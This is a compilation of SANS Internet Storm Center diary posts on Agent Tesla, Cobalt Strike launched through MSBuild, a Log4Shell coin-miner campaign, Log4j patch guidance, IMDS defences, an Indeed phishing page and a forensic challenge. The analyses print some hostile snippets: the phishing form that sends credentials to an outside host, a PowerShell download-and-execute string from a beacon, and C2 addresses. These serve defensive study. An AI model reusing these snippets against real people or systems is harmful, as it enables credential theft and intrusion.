Since today is the last day of 2021, I decided to take a closer look at malware that got caught by my malspam trap over the course of the year.

Of the several hundred unique samples that were collected, probably the most interesting one turned out to be a fairly sizable .NET executable caught in October, which “weight in” at 300 MB and which has 26/64 detection rating on VT at the time of writing[1].

As you may see from the following image, the sample was obfuscated using multiple different tools.

The size of the file was, however, so significant not because of any complex obfuscation, but because the executable had a sizable null byte overlay (i.e., a large number of null bytes added after the end of the file).

Without the overlay, the file would have been less than 700 kB in size.

Although the use of null bytes to inflate the size of a malicious executable to the point when it will not be analyzed by anti-malware tools (AV tools on endpoints as well as on e-mail gateways/web gateways have set limit on the maximum size of files they can scan) is nothing new[2], as the fairly low VT score of this sample shows, it can still be quite effective. Especially when one considers that after further analysis, the executable turned out to be nothing more than a sample of Agent Tesla infostealer[3]…

Two other files I found in my “2021 collection” deserve a short mention in connection with the large executable described above.

They were, again, .NET PE files, and, again, were part of an Agent Tesla infection chain[4].

Besides this, however they were complete opposites of the sample mentioned before. They were only about 8 kB in size each, no obfuscation was used to protect them and their detections on VT are slightly/significantly higher (37/68[5] and 53/68[6] respectively). I mention them together because although there are slight differences in their code, as the following images show, both were very similar, and one can clearly see that they were only supposed to download and run additional code from the internet.

As the preceding text mentions, although all three samples were used in the infection chains of the same malware, the ability of anti-malware tools to detect them varies widely. And since the malware family in question is rather a common one and its samples are often spread by untargeted malspam messages, it goes to show (if anyone still needs to have that pointed out to them at the end of 2021) that depending only on traditional anti-malware tools for (not just) endpoint protection is simply not enough at this point in time…

Nevertheless, since I would like to end this post on a slightly more positive note, let me conclude by wishing you – on behalf of all of us at the SANS Internet Storm Center – a Happy New Year 2022, with as few malware (and other) infections and serious incidents as possible.

[1] https://www.virustotal.com/gui/file/3a4fc42fdb5a73034c00e4d709dad5641ca8ec64c0684fa5ce5138551dd3f47a/details
[2] https://isc.sans.edu/forums/diary/Picks+of+2019+malware+the+large+the+small+and+the+one+full+of+null+bytes/25718/
[3] https://tria.ge/211231-mfe4yafcfj
[4] https://tria.ge/210817-c7rr51256x
[5] https://www.virustotal.com/gui/file/f3ebbcbcaa7a173a3b7d90f035885d759f94803fef8f98484a33f5ecc431beb6
[6] https://www.virustotal.com/gui/file/12a978875dc90e03cbb76d024222abfdc8296ed675fca2e17ca6447ce7bf0080

-----------
Jan Kopriva
@jk0pr
Alef Nula

Introduction

Agent Tesla is a Windows-based keylogger and RAT that commonly uses SMTP or FTP to exfiltrate stolen data.  This malware has been around since 2014, and SMTP is its most common method for data exfiltration.

Earlier today, I reviewed post-infection traffic from a recent sample of Agent Tesla.  This activity revealed a change in Agent Tesla's SMTP data exfiltration technique.

Through November 2021 Agent Tesla samples sent their emails to compromised or possibly fraudulent email accounts on mail servers established through hosting providers.  Since December 2021, Agent Tesla now uses those compromised email accounts to send stolen data to Gmail addresses.

Shown above:  Flow chart of recent change in Agent Tesla SMTP data exfiltration.

SMTP exfiltration before the change

Agent Tesla is typically distributed through email, and the following sample was likely an attachment from malicious spam (malspam) sent on 2021-11-28.

SHA256 hash: bdae21952c4e6367fe534a9e5a3b3eb30d045dcb93129c6ce0435c3f0c8d90d3

• File size: 523,919 bytes
• File name: Purchase Order Pending Quantity.zip
• Earliest Contents Modification: 2021-11-28 19:55:50 UTC

SHA256 hash: aa4ea361f1f084b054f9871a9845c89d68cde259070ea286babeadc604d6658c

• File size: 557,056 bytes
• File name: Purchase Order Pending Quantity.exe
• Any.Run analysis from 2021-11-29: link

The packet capture (pcap) from Any.Run's analysis shows a typical SMTP data exfiltration path.  The infected Windows host sent a message with stolen data to an email address, and that address was on a mail server established through a hosting provider.

Shown above:  Traffic from the Any.Run analysis filtered in Wireshark.

Shown above:  TCP stream of SMTP traffic shows stolen data sent to the compromised email account.

Example after the change

The following Agent Tesla sample was likely an attachment from malspam sent on 2021-12-01.

SHA256 hash: 6f85cd9df964afc56bd2aed7af28cbc965ea56e49ce84d4f4e91f4478d378f94

• File size: 375,734 bytes
• File name: unknown
• Earliest Contents Modification: 2021-12-01 05:02:06 UTC

SHA256 hash: ff34c1fd26b699489cb814f93a2801ea4c32cc33faf30f32165b23425b0780c7

• File size: 537,397 bytes
• File name: Partial Shipment.exe
• Any.Run analysis from 2021-12-01: link

The pcap from Any.Run's analysis of this malware sample shows a new data exfiltration path.  The infected Windows host sent a message with stolen data to a Gmail address using a compromised email account from a mail server established through a hosting provider.

Shown above:  Traffic from the Any.Run analysis filtered in Wireshark.

Shown above:  TCP stream shows stolen data sent to Gmail address using the compromised email account.

Final words

The basic tactics of Agent Tesla have not changed.  However, post-infection traffic from samples since 2021-12-01 indicates Agent Tesla using STMP for data exfiltration now sends to Gmail addresses.  Based on the names of these addresses, I believe they are fraudulent Gmail accounts, or they were specifically established to receive data from Agent Tesla.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

As Apache Log4j 2 security vulnerabilities continue to surface, and are quickly addressed by the Log4j Security Team, keeping track of specific CVEs, severity, and affected versions can be a bit of a task on the fly. As such, herein is a quick table version of update guidance. The current supported version of Log4j2 for Java 8 is 2.17.1 as of this writing.

Note: Log4j 1 is end of life and no longer supported. Java 7 and 6 are end of life and no longer supported. Please upgrade to current, supported versions accordingly.

Log4j 2 Security Vulnerabilities Update Guide			Reference: https://logging.apache.org/log4j/2.x/security.html
Severity	CVE fixed	Description	CVSS	Java 8	Java 7	Java 6	Versions Affected
Moderate	CVE-2021-44832	Apache Log4j2 vulnerable to RCE via JDBC Appender when attacker controls configuration.	6.6	2.17.1	2.12.4	2.3.2	2.0-alpha7 to 2.17.0, excluding 2.3.2 and 2.12.4
Moderate	CVE-2021-45105	Apache Log4j2 does not always protect from infinite recursion in lookup evaluation	5.9	2.17.0	2.12.3	2.3.1	All versions from 2.0-beta9 to 2.16.0, excluding 2.12.3
Critical	CVE-2021-45046	Apache Log4j2 Thread Context Lookup Pattern vulnerable to remote code execution in certain non-default configurations	9	2.16.0	2.12.2		All versions from 2.0-beta9 to 2.15.0, excluding 2.12.2
Critical	CVE-2021-44228	Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints.	10	2.15.0			All versions from 2.0-beta9 to 2.14.1

Russ McRee | @holisticinfosec

 

A supervised learning approach to Living off the Land attack classification from Adobe SI

 

Happy Holidays, readers!
First, a relevant quote from a preeminent author in the realm of intelligence analysis, Richards J. Heuer, Jr.:
“When inferring the causes of behavior, too much weight is accorded to personal qualities and dispositions of the actor and not enough to situational determinants of the actor’s behavior."
Please consider Mr. Heuer’s Psychology of Intelligence Analysis required reading.
The security intelligence team from Adobe’s Security Coordination Center (SCC) have sought to apply deeper analysis of situational determinants per adversary behaviors as they pertain to living-off-the-land (LotL) techniques. As the authors indicate, “bad actors have been using legitimate software and functions to target systems and carry out malicious attacks for many years…LotL is still one of the preferred approaches even for highly skilled attackers." While we, as security analysts, are party to adversary and actor group qualities and dispositions, the use of LotL techniques (situational determinants) proffer challenges for us. Given that classic LotL detection is rife with false positives, Adobe’s SI team used open source and representative incident data to develop a dynamic and high-confidence LotL Classifier, and open-sourced it. Please treat their Medium post, Living off the Land (LotL) Classifier Open-Source Project and related GitHub repo as mandatory reading before proceeding here. I’ll not repeat what they’ve quite capably already documented.

Their LotL Classifier includes two components: feature extraction and an ML classifier algorithm. Again, read their post on these components, but I do want to focus a bit on their use of the random forest classifier for this project. As LotL Classifier is written in Python the project utilizes the sklearn.ensemble.RandomForestClassifier class from scikit-learn, simple and efficient tools for predictive data analysis and machine learning in Python. Caie, Dimitriou and Arandjelovic (2021), in their contribution to the book Artificial Intelligence and Deep Learning in Pathology, state that random forest classifiers are part of the broad umbrella of ensemble-based learning methods, are simple to implement, fast in operation, and are successful in a variety of domains. The random forest approach makes use of the construction of many “simple” decision trees during the training stage, and the majority vote (mode) across them in the classification stage (Caie et al., 2021). Of particular benefit, this voting strategy corrects for the undesirable tendency of decision trees to overfit training data (Caie et al., 2021). Cotaie, Boros, Vikramjeet, and Malik, the Living off the Land Classifier authors, found that, though they used a variety of different classifiers during testing, their best results in terms of accuracy and speed were achieved using the RandomForest classifier. This was driven in large part due to their use of test data representative of “real world” situations during the training stage.
The authors include with LotL Classifier two datasets: bash_huge.known (Linux) and cmd_huge.known (Windows). Each contain hundreds of commands known to represent LotL attacks as provided via the likes of GTFOBins, a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems, and Living Off The Land Binaries, Scripts and Libraries, a.k.a. LOLBAS. Referring again to LotL Classifier’s two components, feature extraction and a classifier algorithm, vectorization ensues as a step in feature extraction where distinct features are pulled from the text in these datasets for the model to train on. The classifier utilizes the training data to better understand how given input variables relate to the class.
Your choices regarding implementation and utilization of LotL Classifier vary. You can clone the repo, establish a Python virtual environments, and run easily as such. You may find, as I do, that the use of Jupyter notebooks is the most productive means by which to utilize models of this nature. The project includes an examples directory to enable your immediate use and testing via the 01_quick_start.ipynb Jupyter notebook. This notebook includes the same two example scripts as provided in the project readme, one for Linux commands and one for Windows. Note the important definable parameters in these scripts, PlatformType.LINUX and PlatformType.WINDOWS, as you begin your own use and create your own sripts. Cross-pollination won’t yield fruit. ;-) After testing the Quick Start notebook, I created a notebook that extends the project quick start examples to three distinct scenarios (categories) derived from GTFOBins, LOLBAS, and realworld analysis. These include Linux reverse shells, Linux file uploads a.k.a. exfil, and Windows coin miners. Figure 1 represents the categorized scenarios.

Figure 1: Jupyter notebook: LotL reverse shells, filed uploads, coin miners

You can experiment with this notebook for yourselves, via GitHub.

Let’s explore results. Findings are scored GOOD, NEUTRAL, or BAD; I intentionally selected LotL strings that would be scored as BAD. Per the author’s use of feature extraction coupled with secondary validation courtesy of the BiLingual Evaluation Understudy (BLEU) metric, consider the results of our Linux reverse shell examples as seen in Figure 2.

Figure 2: LotL reverse shells results

The authors employ labels for the same class of features, including binaries, keywords, patterns, paths, networks, and similarity, followed by a BLEU score to express the functional similarity of two command lines that share common patterns in the parameters. As a result, GTFObins examples for Netcat and bash are scored BAD, along with Gimp, but are further bestowed with LOOKS_LIKE_KNOWN_LOL. Indeed it does. Note the model triggering on numerous keywords, commands, and paths.
Please, again, read the author’s related work for a RTFM view into their logic and approach. My Linux file upload examples followed suit with the reverse shells, so no need to rinse and repeat here, but you can on your own with the notebook or the individual Python scripts.
The coin miner samples worked as intended and were again scored as one would hope, BAD with a dash of LOOKS_LIKE_KNOWN_LOL for good measure, as seen in Figure 3.

Figure 3: LotL coin miner results

Again, we note keyword and command matches, and the full treatment for the regsvr32 example.
As the author’s say: “If it looks like a duck, swims like a duck, and quacks like a duck, then it probably is a duck.”

The Adobe SI crew’s work has piqued my interest such that I intend to explore their One Stop Anomaly Shop (OSAS) next. From their research paper, A Principled Approach to Enriching Security-related Data for Running Processes through Statistics and Natural Language Processing, Boros et al. (2021) propose a different approach to cloud-based anomaly detection in running processes:

1. enrich the data with labels
2. automatically analyze the labels to establish their importance and assign weights
3. score events and instances using these weights

I’ll certainly have opportunities to test this framework at scale; if findings are positive, I’ll share results here.
This has been an innovative offering to explore, I’ve thoroughly enjoyed the effort and highly recommend your pursuit of same.
Cheers…until next time.

Russ McRee | @holisticinfosec

References:
Boros T., Cotaie A., Vikramjeet K., Malik V., Park L. and Pachis N. (2021). A Principled Approach to Enriching Security-related Data for Running Processes through Statistics and Natural Language Processing. In Proceedings of the 6th International Conference on Internet of Things, Big Data and Security - Volume 1: IoTBDS, ISBN 978-989-758-504-3, pages 140-147. DOI: 10.5220/0010381401400147

Caie P., Dimitriou N., Arandjelovic O., Chapter 8 - Precision medicine in digital pathology via image analysis and machine learning, Editor(s): Stanley Cohen, Artificial Intelligence and Deep Learning in Pathology, Elsevier, 2021, Pages 149-173, ISBN 9780323675383, https://doi.org/10.1016/B978-0-323-67538-3.00008-7.

Microsoft Build Engine is the platform for building applications on Windows, mainly used in environments where Visual Studio is not installed. Also known as MSBuild, the engine provides an XML schema for a project file that controls how the build platform processes and builds software [1]. The project file element named ‘Tasks’ designates independent executable components to run during the project building. Tasks are meant to perform build operations but are being abused by attackers to run malicious code under the MSBuild disguise. The technique is mapped on Mitre ATT&CK as “Trusted Developer Utilities Proxy Execution” - T1127.001.

This is the second malicious campaign I got using MSBuild in less than a week. Usually, it starts with an RDP access using a valid account, spreads over the network via remote Windows Services (SCM), and pushes Cobalt Strike beacon to corporate hosts abusing the MSBuild task feature as described in today’s diary.

Abusing MSBuild

To make it easier to understand how attackers are abusing MSBuild, look at Figure 1. It shows the XML file for a simple project (HelloWorld.csproj) with a task named HelloWorld prepared to compile and execute the custom C# code during project building.

Figure 1 - MSBuild HelloWorld Project

When building the project using MSBuild, as seen in Figure 2, the task HelloWorld will be executed, which in turn will call the ‘Execute()’ and ‘Start()’ methods, which will finally print the “Hello World” message on the console. The ‘Execute()’ method comes from the interface ‘ITask’ implemented by the ‘HelloWorld’ class [2].

Figure 2 - Building HelloWorld with MSBuild

Now, let’s look at the malicious MSBuild project file in Figure 3. Using the same principle, when called by MSBuild, it will compile and execute the custom C#, decode and execute the Cobalt Strike beacon on the victim’s machine.

Figure 3 - Malicious MSBuild project file

Figure 4  - MSBuild executing Cobalt Strike beacon

In Figure 5, it’s possible to see the beacon connected to the C2 server (23.227.178.115).

Figure 5 - Cobalt Strike beacon connected to the C2 server

Analyzing the Cobalt Strike beacon

To analyze the code executed by the malicious MSBuild project, first, it’s necessary to decrypt the variable ‘buff’ (refer to Figure 3). The variable is decoded during MSBuild execution by the "for" loop marked in Figure 6. It runs an XOR function between each byte of the ‘buff’ and key_code arrays. By the end, the ‘buff’ byte array will store the decrypted malicious content. The rest of the code will allocate memory and execute the payload using Marshal.GetDelegateForFunctionPointer.

Figure 6 - Decrypting malicious payload

I implemented the same decryption function in Python to decrypt the code, as seen in Figure 7. Before the decryption loop, the script reads the content of buff and key_code from the MSBuild project file and copy to the correspondent variables in the Python script. The script code is available here. 

Figure 7 - Decrypt function in Python

To profile the resulting binary, I started looking for its hash on VirusTotal, which returned no matches. Continuing the low hanging fruit approach, I did a ‘strings’ and found interesting strings that I have already seen in other Cobalt Strike beacons like “could not create remote thread in %d: %d” and “IEX (New-Object Net.Webclient). DownloadString('http://127.0.0.1:%u/'); %s”.

To confirm, I used the tool CobaltStrikeParser from Sentinel-One [3]. This tool parses the Cobalt Strike beacon and extracts its configuration, as seen in Figure 8.

Figure 8 - Extracting Cobalt Strike beacon's configuration

The configuration says that the C2 server (23.227.178.115) will be contacted via HTTPS (encrypted traffic) on port TCP/8888. It also informs the endpoint /dpixel for GET requests and /submit.php for POST requests and that the spawn processes are rundll32.exe – this is the process used to run commands requested by C2 on the victim’s machine.

One usual next step when I have a C2 up and running is to analyze the traffic and try to discover more about the campaign. To do so in this case, I verified if the private key for the Cobalt Strike beacon is known using a project by Didier Steven’s 1768 [4]. This project not only parses the Cobalt Strike’s beacon configuration but also indicates if the corresponding private key was found by Didier on malicious Cobalt Strike servers on the internet. Read more about this project at [5].

So, after running the 1768 tool, I could find that the private key is known for the Cobalt Strike beacon analyzed, as seen in Figure 9.

Figure 9 - Cobalt Strike's beacon Known Private Key

But, before using the private key to decrypt the Cobalt Strike traffic, remember that the communication with the C2 is SSL encrypted. In Figure 10, there is a sample captured traffic.

Figure 10 - Encrypted C2 traffic

One way to decrypt the SSL traffic is to use a man-in-the-middle approach. To this end, I used the project mitmproxy. The communication schema when using a tool like this is to make the client, the Cobalt Strike beacon, talk to the SSL proxy and make the SSL proxy to talk with the C2 server. In the middle (proxy), we will have the traffic unencrypted.

See below command I used to run the mitmproxy:

$ SSLKEYLOGFILE="~/.mitmproxy/sslkeylogfile.txt" mitmproxy -k --mode transparent

The SSLKEYLOGFILE variable will indicate mitmproxy to store SSL/TLS master keys on the file sslkeylogfile.txt. This file can be used to decrypt the traffic in external tools like Wireshark [https://docs.mitmproxy.org/stable/howto-wireshark-tls/]. The ‘-k’ says to mitmproxy to do not verify upstream server SSL/TLS certificates and the transparent mode is used when the client does not know or is configured to use a proxy.

Before running the mitmproxy, remember to enable ‘IP forwarding’ and create the necessary NAT rules to redirect the SSL traffic from the client machine (where the Cobalt Strike beacon is running) mitmproxy port. For my case, the commands were:

$ sudo sysctl -w net.ipv4.ip_forward=1
$ sudo iptables -t nat -A PREROUTING -i <interface> -p tcp --dport 8888 -j REDIRECT --to-port 8080

Another important thing is installing the mitmproxy certificate on the Windows machine running the beacon. The default certificate is located into ~/.mitmproxy/mitmproxy-ca-cert.cer file. Copy it to Windows and install the certificate on Trusted Root Certification Authorities and Trusted Publishers, as seen in Figure 11.

Figure 11 - MITMPROXY certificate installation

Once the pre-requisites are met, running the mitmproxy could have the SSL unencrypted traffic collected, as seen in Figure 12 and Figure 13.

Figure 12 - C2 traffic collection

Figure 13 - C2 traffic details

Remember from the Cobalt Strike beacon configuration (Figure 8) that the HTTP get metadata is stored into the ‘Cookie’ header encoded with base64. So, the content marked in red in Figure 13 is the content to be decrypted using the Cobalt Strike private key.

To decrypt the content, I used another excellent tool from Didier Stevens called cs-decrypt-metadata [6] as seen in Figure 14.

Figure 14 - Decrypting metadata

Finally, if you want to have the traffic unencrypted on Wireshark, you can use the SSL/TSL keys stored into “~/.mitmproxy/sslkeylogfile.txt”. Import the file using Wireshark menu Edit->Preferences->Protocols->TLS->(Pre)-Master-Secret log file name. After that, it’s possible to see the traffic unencrypted like in Figure 15.

Figure 15 - Decrypted TLS traffic

Recommendations

MSBuild composes the list of applications signed by Microsoft that can allow the execution of other codes. According to Microsoft's recommendations [7], these applications should be blocked by the Windows Defender Application Control (WDAC) policy.

There is a note for MSBuild.exe, though, that if the system is used in a development context to build managed applications, the recommendation is to allow msbuild.exe in the code integrity policies.

References

[1] https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2022
[2] https://docs.microsoft.com/en-us/visualstudio/msbuild/task-writing?view=vs-2022
[3] https://github.com/Sentinel-One/CobaltStrikeParser
[4] https://blog.didierstevens.com/2021/11/21/update-1768-py-version-0-0-10/
[5] https://blog.didierstevens.com/2021/10/21/public-private-cobalt-strike-keys/
[6] blog.didierstevens.com/2021/11/12/update-cs-decrypt-metadata-py-version-0-0-2/
[7] https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

When you use TShark's option -e to display a field value, you need to include option -Tfields.

You don't actually have to memorize this, TShark will help you when you use option -e without option -T:

And by doing so, you learn about other output formats, like JSON:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

TShark is WireShark's console program: it's like WireShark, but with a command-line interface in stead of a GUI.

TShark can process a capture file: use option -r to read and process the capture file, like this:

Option -e can be used to display the value of a field, like ip.src. You have to combine option -e with option -Tfields to display field values:

When I want to produce a list of User Agent Strings found in a capture file, I select field http.user_agent. Piping the output of TShark into my tool count.py allows me to produce a list of unique values (with counter):

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

While following Log4Shell's exploit attempts hitting our honeypots, I came across another campaign trying to push a crypto miner on the victim’s machines. The previous campaign I analyzed used a simple post-exploitation Powershell script to download and launch the coin miner xmrig. The new one uses a .Net launcher to download, decrypt, and execute the binaries.

The diagram in Figure 1 outlines the steps that would occur in an application vulnerable to Log4Shell if successfully targeted by this campaign. Follow the numbers in blue and their descriptions below.

Figure 1 - Log4Shell exploitation to implant a Monero crypto miner

1. The attacker sends JNDI strings on an HTTP request to the web application both on the URL as ‘GET’ parameters and on ‘user-agent’. This is an aleatory attack strategy trying to find applications that log the URL or the user-agent using a vulnerable Log4j library anywhere on the internet. The request is shown in Figure 2.

Figure 2 - Attacker request

2. The application sends to a vulnerable Log4j (version < 2.17.0) library data to be logged including the JNDI address;

3. Log4j library, on vulnerable versions, allows variables to be retrieved by JNDI (Java Naming and Directory Interface). To do so, the library looks for “${jndi…” addresses on the data to be logged and, if it finds, it will look up the object using LDAP/S, RMI, DNS. The lookup will return a reference to a remote class which will then be downloaded and executed. For the case of this campaign, the class is named “App.class” and it is hosted on the address hxxp://185[.]18.52.155:8080/App.class;

4. The malicious payload “App.class”, depending on the operating system it is running on, will download and run additional payloads as seen in Figure 3. If on Linux, it will download and run the xmrig binary. If on Windows, it will use a Launcher tool written in .Net to download and execute xmrig, as described in the next steps.

Figure 3 - Malicious class downloading and executing additional artifacts

5. The Windows version of ‘Launcher’ is written in .Net. Analyzing its code, it is possible to see functions to download and decrypt additional artifacts as shown in Figure 4 and Figure 5 respectively.

Figure 4 - Function to download additional artifacts

Figure 5 - Decrypt function

To avoid having to reverse the decrypt function and use it on the downloaded payloads, I debugged the code using the dnSpy tool until the point the files were decrypted and saved them.

6. The downloaded and decrypted files are described below:

1. LC_KEY_L: the key to decrypt the payloads;
2. LC_DATA1_L: an xmrig binary;
3. LC_DATA2_L: the binary WinRing0.sys, part of xmrig;
4. LC_DLL_L: a DLL loaded by Launcher.exe. It is written in .Net and uses a protector called Confuser which makes it harder to just decompile and analyze the code. By statically analyzing the code, it was possible to see calls for NetFwTypeLib, a library to manage Windows Firewall.

7. The next step is the execution of the xmrig binary, which is the Monero crypto miner itself. The config.json used by the attacker will connect the victim’s machine to a mining pool at pool.supportxmr.com.

 

So far, we’ve been able to identify a few different types of attacks against our honeypots trying to take advantage of Log4Shell. Crypto miner implants are prevalent, but we’ve seen attempts to deploy Dridex banking trojan and meterpreter on Linux boxes as well.

See below the IOCs for the campaign covered in this diary.

IOCs (MD5/SHA256 hashes)

App.class

73e9a273f9a37962847eba40e3783070
81e09a20b16d4ac592181f1f371ad8d63df2b69993add7103eb18a0b8dcaf260

dll

6e2e4ce5a1254be6d3d9d06d2fa0f3b2
a3050186f14726ff45bbc391c9f6c344b6b01fb31ed03be651860523b52e5cb2     

launcher.exe

e74ec7381bf7020ec707bd722afe6d38
27a35a6b5b41701832d8a4975f888210ebb56b7986da74140448c80a11c215eb

data1 (xmrig)

c717c47941c150f867ce6a62ed0d2d35
e8b2a8d0c3444c53f143d0b4ba87c23dd1b58b03fd0a6b1bcd6e8358e57807f1   

data2 (WinRing0.sys)

0c0195c48b6b8582fa6f6373032118da
11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5      

LAUNCH_L (xmrig)

1f776e609dcf28e1170a3167c30b0c6b
1430002479dc8822b5b677e7dc29dad9f9f8bfae2de5c31ebcc6fecbc028e8a2      

Network

148.251.165.82
185.18.52.155
hxxps://mail[.]techniservinc.com/resources/files/
 

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

Thanks to Mick Douglas for contributing these notes on defending against log4shell exploits targeting cloud Internal Meta Data Services (IMDS)

A new twist on using the Log4j vulnerability was discovered that could allow attackers access to the IMDS. This allows them to gather detailed and current information about your cloud infrastructure. Typically, attackers cannot easily do this because cloud providers have protections that prevent this type of access. With Log4j, if your system is vulnerable, attackers can make requests appear to come from trusted infrastructure from within your cloud.

Before we get into defenses, it's imperative that you understand patching is your path of least resistance. Please patch if at all possible. If you cannot patch, I personally suggest the IMMA model. Here's how IMMA would work in this instance.

Isolate:

• Setup a WAF for all internet-facing systems. There are detects for this the Log4j attack in all main providers.
• If you can, disable the IMDS web access. Typically this is a bad idea since it breaks almost all automation, but if you don't need it, turn it off for now.

Minimize:

• Prevent attacker callbacks by doing strong egress controls. Only allow protocols out that are needed.
• Review network trust boundaries. Consider reviewing all access into your systems, pay careful attention to third parties which have special network linkages. Don't allow your MSSP or cloud VAR to be the source of your attack!
• Limit access for tokens used by infrastructure. At a minimum, review what your defaults are.

Monitor:

• Review logs on your applications. You are looking for JNDI requests. These are exceedingly rare.
• Look for unplanned configuration changes.
• Look for network enumeration. Only auditors and attackers ask to see network setups. Everything else knows what to talk to!
• Look for token use from outside your cloud providers' ASN. Tokens should only be coming from the provider that issues them. The only exception will be admins who use tokens from CLI shells. Those you can make an exception list for.
• Detect new and unexpected connections. Cloud systems have a very predictable interaction mapping. When this changes, you should be able to see it.

Active Defense:

• Token lifetimes: If you create tokens with non-standard lifetimes, when someone creates a new token of the maximum lifetime (typically 6 hours) that's highly noticeable.
• Honey tokens: create fake tokens and see if anyone tries to use them anywhere.
• Setup honey environment variables: IDMS supports almost any data. Why not give attackers something juicy and see if they try to use it anywhere? One of my favorite use cases for this is "AutomationAdminAccessToken=068f073e79fd3b69be0b0a1338537aff" See if they try using it!

Mick Douglas,
Principle SANS Instructor
IANS Faculty
Founder and Managing Partner, InfoSec Innovations

Are you running an application in a cloud environment like Amazon's EC2? Cloud providers usually offer a nifty way to manage credentials: Internal Meta Data Services (IMDS). For AWS, the IMDS listens on 169.254.169.254. 169.254/16 being link-local only,  only code running on the host itself can reach it, and your code can use this service to retrieve credentials. Or, well, any code running on the host can. 

As Mick Douglas pointed out in his tweet here:

Kat Traxler's blog post, referred to by Mick, has more details.

In Amazon's case, two versions of the IMDS are offered. Exploitation is trivial for IMDSv1. All it takes is an SSRF vulnerability, and as JNDI is all about sending requests to arbitrary hosts, this is covered. Amazon hardened its IMDS implementation in version 2 (using a PUT request to retrieve an access token first). But with log4j, you got arbitrary code execution, so sending a PUT and the following GET with the proper authentication header is pretty straightforward.

This issue isn't just a log4j issue. It is common to all remote code execution vulnerabilities in cloud environments (or again to some SSRF issues). 

Can you do something other than patching all your log4j instances?

• You may disable the IMDS service if not needed (careful!)
• Verify all your cloud permissions (right... patching is likely easier)
• most importantly: rotate credentials on systems you suspect are compromised (= all unpatched systems at this point)

Let us know if there is better advice to monitor access to the IMDS.

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Phishing campaigns are a real plague on the Internet. Every day our mailboxes are flooded via fake emails pretending to be from common online services like Paypal, DHL, Netflix, and many more. Microsoft Office365 is also a good candidate for phishing campaigns.

I found a nice phishing email in my mail trap that targeted indeed.com users. Indeed is a well-known job exchange service where people can upload their resumes and companies their job offers.  The email was pretty well redacted and asked the victim to click on the attached HTML page to connect to his/her Indeed account.

Let’s compare the pages. First, here is the official login page:

Now, let’s have a look at the HTML document (fake page):

That’s a good copy! Let’s have a look at the differences:

On the fake page, we found this comment:

<!-- saved from url=(0111)https://secure.indeed.com/account/login?hl=en_US&service=my&co=US&continue=https://www.indeed.com/login -->

This means that the page was saved by the attackers with Internet Explorer. The number that you see (0111) is called “Mark of the Web”[1].

Then, the attacker added a form in the page:

<form id="loginform" name="loginform" action="hxxp://forceunstoppable[.]com/wp-includes/images/crystal/reportindeedoriginal.php" method="POST" novalidate="">

Note that the email field is marked as read-only to prevent the victim to change the pre-filled login (matching the email recipient):

<input aria-labelledby="label-login-email-input" id="login-email-input" name="login" type="email" value=“[redacted]“ readonly="" class="icl-TextInput-control" aria-invalid="false">

The remaining code remains unchanged and all external resources (like Google Analytics are loaded by the browser).

Once credentials have been successfully received by the C2 server, the victim is redirected to the legit indeed.com website. From an attacker's point of view, this method (dropping the HTML file) is easier because the user does not get any potential SSL warnings and does not need to register a fake DNS... 

[1] https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/compatibility/ms537628(v=vs.85)?redirectedfrom=MSDN

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Introduction

Thanks to everyone who participated in our December 2021 forensic challenge!  61 individuals submitted answers, and most people answered correctly.  Unfortunately, we could only pick one winner.  The winner was randomly chosen from those with the correct answers.  Join us in congratulating this month's winner, Paul Lennox!  We will contact Paul, so we can send him a Raspberry Pi 4 kit.

You can still find the pcap for our December 2021 forensic contest here.

Shown above:  Pcap from the December 2021 forensic challenge filtered in Wireshark.

Questions

• What was the IP address of the infected Windows computer?
• What was the host name of the infected Windows computer?
• What was the user account names from the infected Windows computer? (should be "name" not "names")
• What was the date and time the infection activity began?
• What was the family of malware that caused this infection.

Answers

• IP address of the infected Windows computer:  10.12.3.66
• Host name of the infected Windows computer:  DESKTOP-LUOABV1
• User account name of the infected Windows computer:  darin.figueroa
• Date/time the infection activity started:  2021-12-03 at 19:42:47 UTC
• Family of malware that caused this infection:  Emotet

The environment

As stated in our diary for the December challenge, characteristics of the Active Directory (AD) environment are:

• LAN segment range: 10.12.3.0/24 (10.12.3.0 through 10.12.3.255)
• Domain: fargreentech.com
• Domain Controller: 10.12.3.3 - FARGREENTECH-DC
• LAN segment gateway: 10.12.3.1
• LAN segment broadcast address: 10.12.3.255

The Infected Windows Host

The IP address 10.12.3.66 is th e only Windows client in the pcap.  According to one of the tutorials listed in the December challenge, you can find the host name using various methods.  The image below shows filtering on NBNS traffic in Wireshark and finding the host name that way.

Shown above:  Finding the infected Windows host name through NBNS traffic.

The Windows user account name associated with this infected Windows host can be found through filtering on Kerberos traffic as described in the same Wireshark tutorial.

Shown above:  Finding the Windows user account name through Kerberos traffic.

The Infection Traffic

A basic web filter reveals two unusual HTTP GET requests followed by HTTPS traffic without an associated domain.  The two HTTP requests were caused by a malicious macro from a Microsoft Office document.  One of those requests returned a DLL for Emotet malware.

Unfortunately, we cannot export the Emotet DLL from this pcap.

Emotet caused C2 traffic using HTTPS without any associated domain names.  Emotet C2 traffic previously used HTTP, but since November 2021, its C2 traffic has been HTTPS.

Shown above:  Traffic from the pcap filtered in Wireshark.

The two HTTP URLs used to retrieve the Emotet DLL were:

• hxxp://gamaes[.]shop/wp-content/plugins/sSTToaEwCG5VASw/
• hxxp://newsaarctech[.]com/wp-content/Sx9tvV5/

The first attempt to games[.]shop was not successful, but the HTTP request to newsaarctech[.]com returned an Emotet DLL.  Both of the above URLs have been reported to URLhaus as hosting DLL files for Emotet.  These two domains have also been referenced elsewhere.

• Entry for gamaes[.]shop URL in URLhaus
• Reference in CyberInt blog post for gamaes[.]shop URL
• Entry for newsaarctech[.]com URL in URLhaus
• Tweet about newsaarctech[.]com as domain used by Emotet on 2021-12-02

